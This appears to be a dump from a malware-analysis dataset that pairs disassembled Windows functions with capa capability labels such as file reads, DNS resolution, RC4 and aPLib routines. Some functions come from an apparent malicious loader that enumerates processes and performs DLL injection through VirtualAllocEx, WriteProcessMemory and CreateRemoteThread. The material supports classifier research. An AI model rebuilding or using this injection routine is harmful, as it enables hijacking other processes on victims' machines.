joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140134c30
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x70
mov rdi, rdx
cmp qword [rdx], 0
jne 0x140134da3
mov rsi, rcx
mov rbx, qword [rdi + 0x18]
mov rax, qword [rbx]
test rax, rax
jne 0x140134c67
mov rdx, qword [rbx + 0x10]
lea rax, [rdx + 0xf]
cmp rax, 0xf
jbe 0x140134d68
xor eax, eax
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
je 0x140134d86
sub rax, rdx
add rdx, qword [rbx + 8]
mov r8, qword [rdi + 0x10]
mov ecx, 0xffffffff
cmp rax, rcx
cmovae rax, rcx
mov dword [rsp + 0x2c], 0
mov rcx, qword [rdi + 0x20]
mov qword [rsp + 0x20], r8
lea r9, [rsp + 0x2c]
mov r8d, eax
call qword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x140134cc9
mov eax, dword [rsp + 0x2c]
mov ecx, 2
test rax, rax
je 0x140134d0e
mov qword [rdi], rcx
mov qword [rdi + 8], rax
mov byte [rsi + 1], 1
jmp 0x140134d12
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x40], rax
movabs rcx, 0xffffffff00000000
and rcx, rax
movabs rdx, 0x6d00000000
cmp rcx, rdx
je 0x140134d16
movabs rdx, 0x3e500000000
cmp rcx, rdx
jne 0x140134d45
lea rax, [rsp + 0x30]
jmp 0x140134d24
mov byte [rsi + 1], 0
xor eax, eax
jmp 0x140134d4b
mov qword [rsp + 0x30], 1
lea rax, [rsp + 0x38]
mov qword [rax], 0
lea rcx, [rsp + 0x40]
call fcn.140120300
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x38]
cmp rcx, 2
jne 0x140134d55
mov qword [rsi + 8], rax
mov al, 1
mov byte [rsi], al
add rsp, 0x70
pop rbx
pop rdi
pop rsi
ret
test rcx, rcx
jne 0x140134cb2
mov ecx, 1
jmp 0x140134cbc
mov r8d, 0x10
mov rcx, rbx
call fcn.14015bb40
mov rax, qword [rbx]
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
jne 0x140134c74
mov r8d, 1
mov rcx, rbx
mov rdx, rax
call fcn.14015bb40
mov rax, qword [rbx]
mov rdx, qword [rbx + 0x10]
jmp 0x140134c74
mov qword [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.14015baf0
int3
Function at 0x1401391f0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x70
mov rsi, rcx
lea rcx, [rsp + 0x40]
call fcn.14013b530
mov rcx, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
movabs r14, 0x8000000000000000
cmp rcx, r14
jne case.0x140132896.129
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r14
jmp 0x14013925a
Function at 0x14013ab40
Capabilities:
Create thread

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rdi, r8
mov r14, rdx
mov rsi, rcx
movzx eax, byte [0x140252be1]
mov ecx, 0x10
mov edx, 8
call fcn.140017200
test rax, rax
je 0x14013ac1f
mov rbx, rax
mov qword [rax], r14
mov qword [rax + 8], rdi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10000
lea r8, [0x14013acd0]
xor edi, edi
xor ecx, ecx
mov rdx, rsi
mov r9, rax
call qword [sym.imp.kernel32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x14013ac11
mov rcx, qword [rbx]
mov qword [rbp - 0x18], rbx
mov rax, qword [rbx + 8]
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x10], rax
call qword [rax]
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14013abe8
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp - 0x20]
call fcn.140017210
mov edx, 0x10
mov r8d, 8
mov rcx, qword [rbp - 0x18]
call fcn.140017210
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov edi, 1
mov rax, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], rdi
mov ecx, 8
mov edx, 0x10
call fcn.14015ce50
ud2

Function at 0x14013d8a0
Capabilities:
Resolve dns

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x200
mov rax, rdx
mov rsi, rcx
mov rdx, qword [rdx]
mov rdi, qword [rax + 8]
movzx eax, word [rax + 0x10]
mov word [rsp + 0x26], ax
mov rax, qword [0x140252d18]
cmp rax, 3
jne 0x14013d9ae
lea rax, [rsp + 0x26]
mov qword [rsp + 0x30], rax
cmp rdi, 0x17f
ja 0x14013d9d0
lea rbx, [rsp + 0x80]
mov rcx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rdi + 0x80], 0
inc rdi
lea rcx, [rsp + 0x38]
mov rdx, rbx
mov r8, rdi
call fcn.14014a1a0
cmp qword [rsp + 0x38], 0
je 0x14013d932
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x14013d9a0
mov rcx, qword [rsp + 0x40]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x50]
lea r9, [rsp + 0x28]
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x14013d985
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov ecx, 1
jmp 0x14013d999
mov rax, qword [rsp + 0x28]
movzx ecx, word [rsp + 0x26]
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], cx
xor ecx, ecx
mov qword [rsi + 8], rax
mov qword [rsi], rcx
mov rax, rsi
add rsp, 0x200
pop rbx
pop rdi
pop rsi
ret
mov rbx, rdx
call fcn.14015beb0
mov rdx, rbx
lea rax, [rsp + 0x26]
mov qword [rsp + 0x30], rax
cmp rdi, 0x17f
jbe 0x14013d8e8
lea r9, [rsp + 0x30]
mov rcx, rsi
mov r8, rdi
call fcn.14015bf20
jmp 0x14013d9a0
Function at 0x14013db30
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rsi
sub rsp, 0xb0
mov rax, rdx
mov rsi, rcx
xorps xmm0, xmm0
movaps xmmword [rsp + 0xa0], xmm0
movaps xmmword [rsp + 0x90], xmm0
movaps xmmword [rsp + 0x80], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x2c], 0x80
lea rdx, [rsp + 0x30]
lea r8, [rsp + 0x2c]
mov rcx, rax
call qword [sym.imp.ws2_32.dll_getsockname]
cmp eax, 0xffffffff
je 0x14013dbe0
mov eax, dword [rsp + 0x2c]
movzx ecx, word [rsp + 0x30]
cmp ecx, 2
je 0x14013dbf0
cmp ecx, 0x17
jne 0x14013dc17
cmp eax, 0x1b
jbe 0x14013dc30
movzx eax, word [rsp + 0x32]
rol ax, 8
movups xmm0, xmmword [rsp + 0x38]
mov ecx, dword [rsp + 0x34]
mov edx, dword [rsp + 0x48]
mov word [rsi], 1
movups xmmword [rsi + 4], xmm0
mov dword [rsi + 0x14], ecx
mov dword [rsi + 0x18], edx
mov word [rsi + 0x1c], ax
add rsp, 0xb0
pop rsi
ret
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
jmp 0x14013dc1e
cmp eax, 0xf
jbe 0x14013dc48
movzx eax, word [rsp + 0x32]
rol ax, 8
mov ecx, dword [rsp + 0x34]
mov word [rsi], 0
mov word [rsi + 6], ax
mov dword [rsi + 2], ecx
add rsp, 0xb0
pop rsi
ret
lea rax, str.invalid_argument_b
mov qword [rsi + 8], rax
mov word [rsi], 2
add rsp, 0xb0
pop rsi
ret
lea rcx, str.assertion_failed:_len_as_usize___mem::size_of::_c::sockaddr_in6___
lea r8, str.library_std_src_sys_common_net.rsassertion_failed:_len_as_usize___mem::size_of::_c::sockaddr_in___
mov edx, 0x43
call fcn.14015d140
lea rcx, [0x1401f6161]
lea r8, str.library_std_src_sys_common_net.rsassertion_failed:_len_as_usize___mem::size_of::_c::sockaddr_in___
mov edx, 0x42
call fcn.14015d140
int3
Function at 0x140151e80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x140151efa
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x140151ef0
cmp r11, r10
ja 0x140151f85
cmp r10, rdx
ja 0x140151f97
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x140151ef2
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140151ed0
jmp 0x140151f67
ja 0x140151efa
mov r11, r10
cmp rax, r8
jne 0x140151ea2
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x140151f6b
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x140151f40
mov r8, r10
sub ecx, r9d
jns 0x140151f5e
jmp 0x140151f6d
cmp r10, rdx
je 0x140151f79
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x140151f6d
xor al, 1
cmp r8, rdx
jne 0x140151f20
jmp 0x140151f6d
xor eax, eax
jmp 0x140151f6d
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.14015d030
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14015d5d0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14015d5c0
int3
Function at 0x140157ba4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x140157bee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140157bee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140157bee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140157bee
cmp dword [rcx + 0x84], 0xe
jbe 0x140157bee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140157bf0
xor al, al
add rsp, 0x28
ret

Function at 0x14015aec7
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
lea rcx, [0x1401b507d]
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x14015af25
mov rdi, rax
lea rdx, [0x1401b509e]
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x14015af25
mov rsi, rax
lea rdx, [0x1401b50ac]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x14015af25
xor edi, edi
jmp 0x14015afab
lea rcx, [0x1401b5038]
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x14015b010
mov rsi, rax
lea rdx, str.NtCreateKeyedEvent
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x14015b010
mov rbx, rax
lea rdx, str.NtReleaseKeyedEvent
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x14015b010
mov rdi, rax
lea rdx, str.NtWaitForKeyedEvent
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x14015b010
mov rsi, rax
lea rcx, [rbp - 0x30]
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call rbx
test eax, eax
jne 0x14015b010
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x20], rax
mov al, byte [0x140252be1]
push 0x18
pop rcx
push 8
pop rdx
call fcn.140017200
test rax, rax
je 0x14015b044
mov rcx, rax
mov rax, qword [rbp - 0x20]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp - 0x30]
movups xmmword [rcx], xmm0
xor eax, eax
lock cmpxchg qword [0x140252c30], rcx
je 0x14015b004
mov rsi, rax
mov qword [rbp - 0x30], rcx
call fcn.1401026ef
lea rcx, [rbp - 0x30]
call fcn.140002420
mov rcx, rsi
mov rax, rcx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rax, str.parking_lot_requires_either_NT_Keyed_Events__WinXP__or_WaitOnAddress_WakeByAddress__Win8_
lea rcx, [rbp - 0x30]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x1401b5008]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, str.0Qe_
call fcn.14015d070
push 8
pop rcx
push 0x18
pop rdx
call fcn.14015ce50
ud2
Function at 0x14015bf20
Capabilities:
Resolve dns

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x88
mov r14, r9
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.140145a10
mov rdx, qword [rsp + 0x30]
movabs rax, 0x8000000000000000
cmp rdx, rax
jne 0x14015bfab
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x50]
lea r9, [rsp + 0x28]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x14015bfde
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov ecx, 1
jmp 0x14015bff3
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
test rdx, rdx
je 0x14015c013
mov rcx, qword [rsp + 0x38]
mov r8d, 1
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
jmp fcn.140017210
mov rcx, qword [r14]
mov rax, qword [rsp + 0x28]
movzx ecx, word [rcx]
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], cx
xor ecx, ecx
mov qword [rsi + 8], rax
mov qword [rsi], rcx
mov byte [rdi], 0
test rbx, rbx
je 0x14015c013
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.140017210
nop
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x1405f9058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1405f91df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1405f9089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405f906f
add dl, dl
jne 0x1405f9096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405f90f6
xor eax, eax
add dl, dl
jne 0x1405f90a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1405f91ad
add dl, dl
jne 0x1405f90b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405f90c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405f90d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405f90dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1405f90ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1405f907e
mov eax, 1
add dl, dl
jne 0x1405f9106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1405f9113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405f90fb
sub eax, ebx
mov ebx, 1
jne 0x1405f914c
mov ecx, 1
add dl, dl
jne 0x1405f912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405f913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405f9123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405f907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1405f9168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1405f9175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1405f915d
cmp eax, 0x7d00
jae 0x1405f919b
cmp eax, 0x500
jb 0x1405f9196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405f907e
cmp eax, 0x7f
ja 0x1405f919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1405f907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1405f91d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1405f907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14002b3c0
Capabilities:
Enumerate processes

Disassembly:
jmp 0x14002d220
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x420
lea rbp, [rsp + 0x40]
mov dword [rbp], 0
xor edx, edx
mov ecx, 2
call fcn.14002b47e
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x14002d258
mov eax, dword [rbp]
jmp 0x14002d2e8
mov dword [rbp + 0x10], 0x238
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 8]
call fcn.14002b609
test eax, eax
je 0x14002d2db
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x104
lea rax, [rbp + 0x250]
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
lea r8, [rbp + 0x3c]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_WideCharToMultiByte]
mov rdx, qword [rbp + 0x3f0]
lea rcx, [rbp + 0x250]
call qword [sym.imp.ucrtbased.dll__stricmp]
test eax, eax
jne 0x14002d2ca
mov eax, dword [rbp + 0x18]
mov dword [rbp], eax
jmp 0x14002d2db
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 8]
call fcn.14002b87f
test eax, eax
jne 0x14002d270
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [rbp]
lea rsp, [rbp + 0x3e0]
pop rbp
ret

Function at 0x14002b3ed
Capabilities:
Check if file exists
Create directory
Get file attributes
Query environment variable

Disassembly:
jmp 0x14002cc90
push rbp
sub rsp, 0x180
lea rbp, [rsp + 0x20]
mov r8d, 0x104
lea rdx, [rbp]
lea rcx, str.TEMP
call qword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
mov dword [rbp + 0x110], eax
lea rdx, str.WANNALMAO
lea rcx, [rbp]
call fcn.14002b8c5
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
mov dword [rbp + 0x114], eax
cmp dword [rbp + 0x114], 0xffffffff
je 0x14002ccf5
mov eax, dword [rbp + 0x114]
and eax, 0x10
test eax, eax
je 0x14002ccf5
mov al, 1
jmp 0x14002cd27
xor edx, edx
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
test eax, eax
je 0x14002cd09
mov al, 1
jmp 0x14002cd27
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [rbp + 0x118], eax
cmp dword [rbp + 0x118], 0xb7
jne 0x14002cd25
mov al, 1
jmp 0x14002cd27
xor al, al
lea rsp, [rbp + 0x160]
pop rbp
ret
Function at 0x14002b4d8
Capabilities:
Enumerate process modules

Disassembly:
jmp 0x14002cee0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
mov eax, 0x2378
call fcn.14002b1d1
sub rsp, rax
lea rbp, [rsp + 0x20]
mov rcx, qword [rbp + 0x2378]
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14002cf22
xor eax, eax
jmp 0x14002d04b
mov rdx, qword [rbp + 0x2380]
mov rcx, qword [rbp]
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x14002cf45
xor eax, eax
jmp 0x14002d04b
mov rax, qword [rbp]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], 0
lea r9, [rbp + 0x2020]
mov r8d, 0x2000
lea rdx, [rbp + 0x20]
mov rcx, qword [rbp + 0x2370]
call fcn.14002b0dc
test eax, eax
je 0x14002d032
mov dword [rbp + 0x2024], 0
jmp 0x14002cf9e
mov eax, dword [rbp + 0x2024]
inc eax
mov dword [rbp + 0x2024], eax
mov eax, dword [rbp + 0x2024]
mov qword [rbp + 0x2340], rax
mov ecx, dword [rbp + 0x2020]
xor edx, edx
mov eax, ecx
mov ecx, 8
div rcx
mov rcx, qword [rbp + 0x2340]
cmp rcx, rax
jae 0x14002d032
lea rax, [rbp + 0x2030]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov eax, dword [rbp + 0x2024]
mov r9d, 0x104
lea r8, [rbp + 0x2030]
mov rdx, qword [rbp + rax*8 + 0x20]
mov rcx, qword [rbp + 0x2370]
call fcn.14002b055
test eax, eax
jbe 0x14002d02d
mov rdx, qword [rbp + 0x2378]
lea rcx, [rbp + 0x2030]
call qword [sym.imp.ucrtbased.dll__stricmp]
test eax, eax
jne 0x14002d02d
mov eax, dword [rbp + 0x2024]
mov rax, qword [rbp + rax*8 + 0x20]
mov qword [rbp + 0x18], rax
jmp 0x14002d032
jmp 0x14002cf90
cmp qword [rbp + 0x18], 0
jne 0x14002d03d
xor eax, eax
jmp 0x14002d04b
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp + 0x18]
add rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x2358]
pop rdi
pop rbp
ret

Function at 0x14002b587
Capabilities:
Terminate process

Disassembly:
jmp 0x14007eb40
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.DLL_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14002b64a
Capabilities:
Check if file exists
Delete file

Disassembly:
jmp 0x14002db60
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x60
lea rbp, [rsp + 0x20]
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x14002db90
call qword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 2
jne 0x14002db8c
mov al, 1
jmp 0x14002db92
xor al, al
jmp 0x14002db92
mov al, 1
lea rsp, [rbp + 0x40]
pop rbp
ret
Function at 0x14002b6f4
Capabilities:
Parse pe header

Disassembly:
jmp 0x14007d9f0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14007da10
xor al, al
jmp 0x14007da91
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14007da23
xor al, al
jmp 0x14007da91
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14007da4d
xor al, al
jmp 0x14007da91
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14007da61
xor al, al
jmp 0x14007da91
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14007da73
xor al, al
jmp 0x14007da91
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14007da8f
xor al, al
jmp 0x14007da91
mov al, 1
add rsp, 0x38
ret
Function at 0x14002b703
Capabilities:
Create thread
Inject thread

Disassembly:
jmp 0x14002d330
push rbp
sub rsp, 0xa0
lea rbp, [rsp + 0x40]
mov rcx, qword [section..data]
call sym.Loader.exe_unsigned_long_int___cdecl_WANNALMAO_GetProcessIdByName_char_const____ptr64_
mov dword [rbp], eax
cmp dword [rbp], 0
jne 0x14002d35f
lea rcx, str.error_getting_target_process_PID
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov r8d, dword [rbp]
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.DLL_OpenProcess]
mov qword [0x140098518], rax
cmp qword [0x140098518], 0
jne 0x14002d38d
lea rcx, str.error_getting_process_handle
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
lea r8, str.LoadLibraryA
lea rdx, str.kernel32.dll
mov rcx, qword [0x140098518]
call sym.Loader.exe_unsigned_long_long_unsigned___int64____cdecl_WANNALMAO_GetFunctionAddress_void____ptr64__char_const____ptr64__char_const____ptr64_
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x14002d3be
lea rcx, str.error_getting_LoadLibraryA_address_in_target_process
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
lea rcx, [0x140098520]
call fcn.14002b424
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, rax
xor edx, edx
mov rcx, qword [0x140098518]
call qword [sym.imp.KERNEL32.DLL_VirtualAllocEx]
mov qword [rbp + 0x10], rax
cmp qword [rbp + 0x10], 0
jne 0x14002d401
lea rcx, str.error_allocating_memory_in_target_process
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
lea rcx, [0x140098520]
call fcn.14002b424
mov qword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140098520]
mov rdx, qword [rbp + 0x10]
mov rcx, qword [0x140098518]
call qword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
jne 0x14002d441
lea rcx, str.error_writing_to_target_process
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x140098518]
call qword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x18], 0
jne 0x14002d488
lea rcx, str.error_creating_remote_thread
call sym.Loader.exe_void___cdecl_WANNALMAO_ErrorAndExit_char_const____ptr64_
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
lea rsp, [rbp + 0x60]
pop rbp
ret
Function at 0x14002b884
Capabilities:
Extract resource via kernel32 functions

Disassembly:
jmp 0x14002d600
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
sub rsp, 0x90
lea rbp, [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14002d630
xor eax, eax
jmp 0x14002d6e4
movzx eax, word [rbp + 0x80]
lea r8, str.VERYSUS
mov edx, eax
mov rcx, qword [rbp]
call qword [sym.imp.KERNEL32.DLL_FindResourceW]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x14002d65c
xor eax, eax
jmp 0x14002d6e4
mov rdx, qword [rbp + 8]
